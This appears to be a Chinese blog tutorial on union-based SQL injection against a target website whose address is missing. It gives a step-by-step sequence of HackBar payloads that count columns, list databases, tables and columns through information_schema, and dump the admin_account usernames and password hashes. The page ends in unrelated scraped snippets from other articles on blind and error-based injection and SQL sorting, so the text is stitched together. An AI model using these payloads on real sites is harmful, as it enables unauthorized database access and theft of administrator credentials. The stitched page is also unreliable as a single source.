這個簡單的例項是對乙個**進行sql注入,獲得管理員的賬號和密碼
目標**:
步驟如下:
(1)先猜解當前網頁的字段數
在hackbar的輸入框中輸入:
order by 7
頁面顯示正常,輸入
order by 8
頁面報錯,說明欄位數為7.
(2)獲取資料庫的基本資訊
輸入union select 1,2,3,4,5,6,7
注意看頁面顯示的數字的位置,當我們對那個數字位置進行函式替換的時候才知道那個位置的資訊是什麼,比如頁面顯示是「使用者名稱:1」那麼當執行
union select database(),2,3,4,5,6,7
時,頁面顯示是「使用者名稱:admin_db」那麼這個admin_db就是database()的值。
現在想要獲得當前資料庫,使用者名稱和所有資料庫,執行
union select 1,database(),concat(user()),group_concat(distinct+ table_schema,0x20),5,6,7
+from information_schema.tables
得到database()值為test_db,user()值為admin,所有的庫為:text_db,text2_db,text3_db,information_schema
(3)根據資料庫爆全部的資料表
union select 1,database(),3,group_concat(distinct+table_name,0x20),5,6,7
+from information_schema.tables where table_schema=database()
會得到很多表
看到其中有乙個叫admin_account的表,猜測這個應該就是儲存管理員資訊的表
(4)根據錶爆字段
union select 1,database(),3,group_concat(distinct+column_name,0x20),5,6,7
+from information_schema.columns where table_name=0x61646d696e5f6163636f756e74
這裡admin_acccount的hex值是0x61646d696e5f6163636f756e74
主意把要爆的表名轉化為16進製制,可以在這個**輸入表名字串進行轉化。
得到幾個字段,可以看到其中包括id,username,password
(5)最後就是根據字段爆出字段資料
union select 1,database(),3,group_concat(distinct+id,0x2b,username,0x2b,password,0x2b),
5,6,7 +from admin_account
可以得到好幾條資料
從中可以知道管理員的資訊
不過得到的密碼是加密過的,需要解密
sql盲注特點 SQL盲注
盲注原理 盲注的分類 盲注常用函式 一 sql盲注概述 1.如果資料庫執行返回結果時只反饋對錯不會返回資料庫中的資訊 此時可以採用邏輯判斷是否正確的盲注來獲取資訊。2.盲注是不能通過直接顯示的途徑來獲取資料庫資料的方法。在盲注中,攻擊者根據其返回頁面的不同來判斷資訊 可能是頁面內容的不同,也可以是響...
利用sql報錯幫助進行sql注入
我們可以利用sql報錯幫助進行sql注入,這裡以sql server 為例 sql查詢時,若用group by子句時,該子句中的字段必須跟select 條件中的字段 非聚合函式 完全匹配,如果是select 那就必須將該表中所有列名都包含在group by 中 若少了哪個,就會報錯,報錯中會提示如下...
利用case when進行sql動態排序
乙個sql動態排序的問題,弄了我很久很久。就是無法解決。結果在網上找了一段資源幫我解決。如下 sql排序方法,exec法和case when法 在日常的報表中常用到排序,有些是多字段的公升,降序,一般有兩種方法,如下所示 create table tmp row int,id nvarchar 10...